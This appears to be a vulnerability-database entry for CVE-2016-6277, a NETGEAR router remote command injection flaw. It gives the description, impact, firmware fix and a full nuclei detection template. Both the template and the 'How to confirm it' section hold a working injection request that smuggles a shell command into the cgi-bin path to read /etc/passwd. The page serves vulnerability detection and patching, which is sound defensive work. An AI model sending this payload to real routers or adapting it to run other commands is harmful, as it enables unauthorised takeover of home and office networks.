HexBrain

Browse / CVEs / CVE-2016-6277

CVE-2016-6277· netgear / d6220 firmware· CWE-352

NETGEAR Routers - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-03-07; known to be used by ransomware.

highseverity
8.8CVSS score
99.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to unauthorized access, data theft, or network compromise.

Fix

Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2016-6277 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2016-6277

info:
  name: NETGEAR Routers - Remote Code Execution
  author: pikpikcu
  severity: high
  description: NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to unauthorized access, data theft, or network compromise.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - https://www.sj-vs.net/2016/12/10/temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-6277
    - http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/
    - https://www.kb.cert.org/vuls/id/582384
    - http://kb.netgear.com/000036386/CVE-2016-582384
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-6277
    cwe-id: CWE-352
    epss-score: 0.99803
    epss-percentile: 0.99958
    cpe: cpe:2.3:o:netgear:d6220_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netgear
    product: d6220_firmware
  tags: cve2016,cve,netgear,rce,iot,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from